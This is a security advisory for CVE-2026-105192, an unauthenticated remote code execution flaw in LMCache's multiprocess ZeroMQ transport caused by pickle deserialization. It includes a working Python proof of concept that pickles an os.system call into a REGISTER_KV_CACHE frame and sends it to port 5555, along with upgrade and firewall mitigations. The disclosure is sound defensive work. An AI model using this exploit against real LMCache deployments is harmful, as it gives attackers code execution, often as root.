LMCache is vulnerable to Unauthenticated Remote Code Execution via Pickle Deserialization on the Multiprocess ZMQ Transport
lmcache (github.com/LMCache/LMCache)
= 0.3.9, < 0.5.6
LMCache multiprocess mode, also called distributed mode, opens an unauthenticated ZeroMQ ROUTER so worker processes can register and share KV cache blocks. The intended clients are sibling LMCache processes. There is no CURVE, ZAP, password, or message authentication on that socket. LMCache used only inside a vLLM process does not open this port. The transport binds to localhost unless the operator sets a routable address with --host, which is how multi-node deployments let peers connect. The 9.8 score is for that routable configuration. A stock single-host install that leaves the default bind is not reachable from other machines.
Messages on the socket are msgpack. Extension code 1 is registered for DeviceIPCWrapper and is passed to DeviceIPCWrapper.Deserialize in lmcache/v1/platform/base/ipc_wrapper.py, which calls pickle.loads. That hook runs from ext_hook in lmcache/v1/multiprocess/custom_types.py while the server is still decoding REGISTER_KV_CACHE arguments, before the handler runs. A single unauthenticated ZMQ DEALER message to the transport port (default 5555) therefore executes code as the user the LMCache process runs as. Official container images run that process as root.
The decode path shipped in v0.3.9 and is present through v0.5.5, including the v0.5.6 release candidates through v0.5.6rc3. v0.5.6, published on 2026-10-14, removes pickle.loads from this path.
Step 1 - Start multiprocess mode bound to a routable address
This is the documented multi-node setting. The ZMQ transport listens on port 5555.
python -m lmcache.v1.multiprocess.http_server \
--http-host 127.0.0.1 --http-port 8080 \
--host 0.0.0.0 --port 5555 \
--l1-size-gb 0.25 --eviction-policy LRU \
--hash-algorithm blake3 --instance-id mp-node-01
Step 2 - Build a REGISTER_KV_CACHE frame whose cache slot is a pickle
Payload slot 1 is a msgpack extension with code 1. The server unpickles that body while it is still decoding arguments. The command writes id to /tmp/zmq_pwn.
import os
import pickle
import msgspec
import zmq
class EvilPayload:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return (os.system, (self.cmd,))
evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))
REGISTER_KV_CACHE = 1
EXT_CODE = 1
NUM_PAYLOADS = 7
KVCACHE_INDEX = 1
b_uid = msgspec.msgpack.encode(0)
b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)
payloads = [msgspec.msgpack.encode(None)] * NUM_PAYLOADS
payloads[0] = msgspec.msgpack.encode(0)
payloads[KVCACHE_INDEX] = msgspec.msgpack.encode(
[msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]
)
frames = [b_uid, b_type, *payloads]
Step 3 - Send the frame
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.connect("tcp://127.0.0.1:5555")
s.send_multipart(frames)
The pickle runs during argument decode. The server then logs a type error for REGISTER_KV_CACHE because the handler expected a DeviceIPCWrapper and received the return value of os.system. That error is after the command has already run.
Step 4 - Confirm the command ran as the LMCache user
cat /tmp/zmq_pwn
Expected output on an official image, where the process runs as root:
uid=0(root) gid=0(root) groups=0(root)
Upgrade to LMCache 0.5.6 or later. That release replaces pickle in device IPC descriptors with versioned, typed MessagePack descriptors. Descriptors are validated before use, the wrapper type is chosen from a fixed local allowlist, and class names are never taken from the message. The change covers the ZeroMQ and gRPC paths, and there is no pickle fallback. The wire format changed, so upgrade workers and servers together. The change is https://github.com/LMCache/LMCache/pull/5644, and it is in the v0.5.6 tag.
LMCache's note on the fix is https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192/.
Two related changes were announced with that note and merged after the v0.5.6 tag was cut (tag commit 3e11e10, 2026-10-12). They are included in v0.5.7rc2. https://github.com/LMCache/LMCache/pull/5684 binds the example Kubernetes deployment to localhost. https://github.com/LMCache/LMCache/pull/5685 runs the official images as a non-root user. The v0.5.6 example deployment still passes --host 0.0.0.0, and the v0.5.6 images still run as root.
On any version before 0.5.6, keep the multiprocess port on localhost or on a trusted cluster network, and limit the port with a firewall. Any host that can open a connection to the port can still run code as the LMCache user.
https://www.cve.org/CVERecord?id=CVE-2026-105192 https://blog.lmcache.ai/en/2026/10/13/an-update-on-cve-2026-105192/ https://github.com/LMCache/LMCache/security/advisories/GHSA-w5f2-9q9c-ff4h https://github.com/LMCache/LMCache/pull/5644 https://github.com/LMCache/LMCache/pull/5684 https://github.com/LMCache/LMCache/pull/5685 https://github.com/LMCache/LMCache/releases/tag/v0.5.6 https://github.com/LMCache/LMCache https://pypi.org/project/lmcache/ https://github.com/LMCache/LMCache/blob/v0.5.5/lmcache/v1/platform/base/ipc_wrapper.py https://github.com/LMCache/LMCache/blob/v0.3.9/lmcache/v1/multiprocess/custom_types.py